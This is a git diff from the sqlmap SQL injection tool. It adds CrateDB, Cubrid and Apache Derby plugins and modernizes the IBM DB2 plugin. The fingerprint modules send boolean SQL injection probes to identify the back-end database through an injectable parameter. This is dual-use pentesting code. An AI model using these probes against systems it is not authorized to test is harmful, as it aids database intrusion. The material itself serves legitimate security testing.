a/plugins/dbms/cratedb/enumeration.py b/plugins/dbms/cratedb/enumeration.py new file mode 100644 index 00000000000..4c9e66b39e2 --- /dev/null +++ b/plugins/dbms/cratedb/enumeration.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on CrateDB it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on CrateDB it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/cratedb/filesystem.py b/plugins/dbms/cratedb/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/cratedb/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cratedb/fingerprint.py b/plugins/dbms/cratedb/fingerprint.py new file mode 100644 index 00000000000..7a6b6f545df --- /dev/null +++ b/plugins/dbms/cratedb/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CRATEDB_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CRATEDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CRATEDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CRATEDB_ALIASES): + setDbms(DBMS.CRATEDB) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CRATEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("IGNORE3VL(NULL IS NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.CRATEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("1~1") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB + logger.warning(warnMsg) + + return False + + setDbms(DBMS.CRATEDB) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/cratedb/syntax.py b/plugins/dbms/cratedb/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/cratedb/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/cratedb/takeover.py b/plugins/dbms/cratedb/takeover.py new file mode 100644 index 00000000000..0e8b86c004c --- /dev/null +++ b/plugins/dbms/cratedb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on CrateDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on CrateDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on CrateDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on CrateDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/cubrid/__init__.py b/plugins/dbms/cubrid/__init__.py new file mode 100644 index 00000000000..d5aedaf3c04 --- /dev/null +++ b/plugins/dbms/cubrid/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CUBRID_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cubrid.enumeration import Enumeration +from plugins.dbms.cubrid.filesystem import Filesystem +from plugins.dbms.cubrid.fingerprint import Fingerprint +from plugins.dbms.cubrid.syntax import Syntax +from plugins.dbms.cubrid.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CubridMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Cubrid methods + """ + + def __init__(self): + self.excludeDbsList = CUBRID_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CUBRID] = Syntax.escape diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py new file mode 100644 index 00000000000..cd869ec20a5 --- /dev/null +++ b/plugins/dbms/cubrid/connector.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import CUBRIDdb +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/CUBRID/cubrid-python + User guide: https://github.com/CUBRID/cubrid-python/blob/develop/README.md + API: https://www.python.org/dev/peps/pep-0249/ + License: BSD License + """ + + def connect(self): + self.initConnection() + + try: + # CUBRIDdb.connect takes a positional URL 'CUBRID:host:port:db:::' then user/password positionally + # (it does not accept hostname/username/database keyword args, which raised a TypeError before) + self.connector = CUBRIDdb.connect("CUBRID:%s:%s:%s:::" % (self.hostname, self.port, self.db), str(self.user), str(self.password)) + except CUBRIDdb.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except CUBRIDdb.DatabaseError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except CUBRIDdb.DatabaseError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except CUBRIDdb.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/cubrid/enumeration.py b/plugins/dbms/cubrid/enumeration.py new file mode 100644 index 00000000000..142b170108a --- /dev/null +++ b/plugins/dbms/cubrid/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Cubrid it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Cubrid it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on Cubrid it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Cubrid it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/cubrid/filesystem.py b/plugins/dbms/cubrid/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/cubrid/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cubrid/fingerprint.py b/plugins/dbms/cubrid/fingerprint.py new file mode 100644 index 00000000000..9d1a16c151d --- /dev/null +++ b/plugins/dbms/cubrid/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CUBRID_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CUBRID) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CUBRID + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CUBRID_ALIASES): + setDbms(DBMS.CUBRID) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CUBRID + logger.info(infoMsg) + + result = inject.checkBooleanExpression("{} SUBSETEQ (CAST ({} AS SET))") + + if result: + infoMsg = "confirming %s" % DBMS.CUBRID + logger.info(infoMsg) + + result = inject.checkBooleanExpression("DRAND()<2") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID + logger.warning(warnMsg) + + return False + + setDbms(DBMS.CUBRID) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/cubrid/syntax.py b/plugins/dbms/cubrid/syntax.py new file mode 100644 index 00000000000..070abcd25b3 --- /dev/null +++ b/plugins/dbms/cubrid/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/cubrid/takeover.py b/plugins/dbms/cubrid/takeover.py new file mode 100644 index 00000000000..cb140d6c9c5 --- /dev/null +++ b/plugins/dbms/cubrid/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Cubrid it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Cubrid it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Cubrid it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Cubrid it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index 0a5ea5718d4..9b70ae438ab 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -24,11 +24,7 @@ class DB2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov def __init__(self): self.excludeDbsList = DB2_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.DB2] = Syntax.escape diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index feeb9b046d5..7e30a336950 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,17 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import ibm_db_dbi -except ImportError: +except: pass import logging +from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -19,24 +20,20 @@ class Connector(GenericConnector): """ - Homepage: http://code.google.com/p/ibm-db/ - User guide: http://code.google.com/p/ibm-db/wiki/README - API: http://www.python.org/dev/peps/pep-0249/ + Homepage: https://github.com/ibmdb/python-ibmdb + User guide: https://github.com/ibmdb/python-ibmdb/wiki/README + API: https://www.python.org/dev/peps/pep-0249/ License: Apache License 2.0 """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: database = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) - except ibm_db_dbi.OperationalError, msg: - raise SqlmapConnectionException(msg) - + except ibm_db_dbi.Error as ex: # base class: ibm_db_dbi maps wrong-credential (SQLSTATE 28) to ProgrammingError, not OperationalError + raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() @@ -44,17 +41,17 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except ibm_db_dbi.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + except ibm_db_dbi.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) - except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) - except ibm_db_dbi.InternalError, msg: - raise SqlmapConnectionException(msg[1]) + except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + except ibm_db_dbi.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index ba4fdef9c03..3a6c3599e35 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,21 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ - from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getPasswordHashes(self): - warnMsg = "on DB2 it is not possible to list password hashes" - logger.warn(warnMsg) + warnMsg = "on IBM DB2 it is not possible to enumerate password hashes" + logger.warning(warnMsg) return {} + def getStatements(self): + warnMsg = "on IBM DB2 it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index 61695882025..2e61d83c07c 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,12 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) + pass diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index bc3f299aca5..aa12d2ed11a 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ - from lib.core.common import Backend from lib.core.common import Format +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -64,14 +64,16 @@ def getFingerprint(self): value += DBMS.DB2 return value - actVer = Format.getDbms() - blank = " " * 15 - value += "active fingerprint: %s" % actVer + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -81,7 +83,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or (conf.dbms or "").lower() in DB2_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES): setDbms(DBMS.DB2) return True @@ -95,16 +97,25 @@ def checkDbms(self): logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) - version = self._versionCheck() + result = inject.checkBooleanExpression("JULIAN_DAY(CURRENT DATE) IS NOT NULL") + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 + logger.warning(warnMsg) + + return False + + version = self._versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) + else: + setDbms(DBMS.DB2) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -127,12 +138,14 @@ def checkDbmsOs(self, detailed=False): infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if result: - versions = { "2003": ("5.2", (2, 1)), + versions = { + "2003": ("5.2", (2, 1)), "2008": ("7.0", (1,)), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), "XP": ("5.1", (2, 1)), - "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } + "NT": ("4.0", (6, 5, 4, 3, 2, 1)) + } # Get back-end DBMS underlying operating system version for version, data in versions.items(): diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 3a46c4d3b12..7ba5c8b9f38 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,24 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True """ def escaper(value): - return "||".join("CHR(%d)" % ord(_) for _ in value) + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index a505781cc1a..7c19fd8799c 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from plugins.generic.takeover import Takeover as GenericTakeover diff --git a/plugins/dbms/derby/__init__.py b/plugins/dbms/derby/__init__.py new file mode 100644 index 00000000000..2b4f3104e87 --- /dev/null +++ b/plugins/dbms/derby/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import DERBY_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.derby.enumeration import Enumeration +from plugins.dbms.derby.filesystem import Filesystem +from plugins.dbms.derby.fingerprint import Fingerprint +from plugins.dbms.derby.syntax import Syntax +from plugins.dbms.derby.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class DerbyMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Apache Derby methods + """ + + def __init__(self): + self.excludeDbsList = DERBY_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.DERBY] = Syntax.escape diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py new file mode 100644 index 00000000000..1069977b203 --- /dev/null +++ b/plugins/dbms/derby/connector.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import drda +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/nakagami/pydrda/ + User guide: https://github.com/nakagami/pydrda/blob/master/README.rst + API: https://www.python.org/dev/peps/pep-0249/ + License: MIT + """ + + def connect(self): + self.initConnection() + + try: + self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port, user=self.user or None, password=self.password or None) + except drda.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except drda.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (drda.OperationalError, drda.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except drda.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + try: + self.connector.commit() + except drda.OperationalError: + pass + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py new file mode 100644 index 00000000000..286d20b6c93 --- /dev/null +++ b/plugins/dbms/derby/enumeration.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import singleTimeWarnMessage +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Apache Derby it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Apache Derby it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Apache Derby it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Apache Derby it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Apache Derby it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getBanner(self): + warnMsg = "on Apache Derby it is not possible to enumerate the banner" + singleTimeWarnMessage(warnMsg) diff --git a/plugins/dbms/derby/filesystem.py b/plugins/dbms/derby/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/derby/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py new file mode 100644 index 00000000000..76d67e89605 --- /dev/null +++ b/plugins/dbms/derby/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import DERBY_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.DERBY) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.DERBY + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(DERBY_ALIASES): + setDbms(DBMS.DERBY) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.DERBY + logger.info(infoMsg) + + result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 OFFSET 0 ROWS FETCH FIRST 1 ROW ONLY)") + + if result: + infoMsg = "confirming %s" % DBMS.DERBY + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY + logger.warning(warnMsg) + + return False + + setDbms(DBMS.DERBY) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY + 